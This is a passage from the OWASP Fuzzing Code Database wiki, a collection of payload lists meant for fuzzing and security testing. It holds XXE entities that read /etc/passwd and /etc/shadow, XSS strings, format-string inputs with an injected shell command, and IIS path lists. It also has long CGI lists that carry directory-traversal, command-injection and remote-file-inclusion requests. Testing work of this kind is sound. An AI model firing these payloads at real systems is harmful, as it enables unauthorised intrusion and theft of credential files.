&quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: 30 July 2007 - Total Statements: 28) ===<br /> &lt;pre&gt;<br /> # Full List<br /> # Format String tests to determine errors in variable handling<br /> # Foobar@email.de<br /> <br /> %s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=81227 2010-04-12T16:33:18Z

<p>Adam.muntner: /* Microsoft URLs (8 April 2010) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Microsoft URLs (8 April 2010) ===<br /> &lt;pre&gt;# Interesting IIS Files &amp; Directories (8 April 2010)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> # Look at the result codes in the headers - 403 likely mean the dir exists, 404 means not. It takes an ISAPI filter for IIS to return 404's for 403s. <br /> # Altetrnatively, slight differences in the number of bytes returned will help differentiate.<br /> <br /> /.printer<br /> /%NETHOOD%/<br /> /&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /AccessPlatform/<br /> /AccessPlatform/auth/<br /> /AccessPlatform/auth/clientscripts/cookies.js <br /> /AccessPlatform/auth/clientscripts/login.js <br /> /Exadmin/<br /> /ExchWeb/<br /> /Exchange/<br /> /Microsoft-Server-ActiveSync/<br /> /OMA/<br /> /OWA/<br /> /Public/<br /> /_layouts/alllibs.htm<br /> /_layouts/settings.htm<br /> /_layouts/userinfo.htm<br /> /_vti_bin/<br /> /_vti_bin/_vti_aut/fp30reg.dll<br /> /_vti_pvt/<br /> /_WEB_INF/<br /> /a%5c.aspx<br /> /adovbs.inc<br /> /aspnet_files/<br /> /certcontrol/<br /> /certenroll/<br /> /certsrv/<br /> /citrix/<br /> /citrix/AccessPlatform/auth/<br /> /citrix/AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/auth/clientscripts/<br /> /Citrix//AccessPlatform/auth/clientscripts/cookies.js <br /> /Citrix/AccessPlatform/auth/clientscripts/login.js <br /> /Citrix/PNAgent/config.xml<br /> /exchange/root.asp<br /> /forum.asp<br /> /forum_arc.asp<br /> /forum_professionnel.asp<br /> /iisadmin/<br /> /iisadmpwd/achg.htr<br /> /iisadmpwd/aexp.htr<br /> /iisadmpwd/aexp2.htr<br /> /iisadmpwd/aexp2b.htr<br /> /iisadmpwd/aexp3.htr<br /> /iisadmpwd/aexp4.htr<br /> /iisadmpwd/aexp4b.htr<br /> /iisadmpwd/anot.htr<br /> /iisadmpwd/anot3.htr<br /> /iiasdmpwd/<br /> /iishelp/<br /> /iishelp/iis/misc/default.asp<br /> /iissamples/<br /> /imprimer.asp<br /> /includes/adovbs.inc<br /> /msadc/<br /> /null.htw<br /> /pbserver/pbserver.dll<br /> /postinfo.html<br /> /rubrique.asp<br /> /scripts/<br /> /scripts/fpcount.exe<br /> /scripts/cgimail.exe<br /> /scripts/tools/newdsn.exe<br /> /scripts/tools/getdrvs.exe<br /> /scripts/convert.bas<br /> /cgi-bin/htmlscript<br /> /scripts/counter.exe<br /> /scripts/no-such-file.pl<br /> /share/<br /> /tsweb/<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.asp<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /index.shtml<br /> /x.htw<br /> /x.ida<br /> /x.idq<br /> /cgi<br /> /scripts/iisadmin/ism.dll?http/dir<br /> /scripts/samples/search/webhits.exe<br /> &lt;/pre&gt;<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> 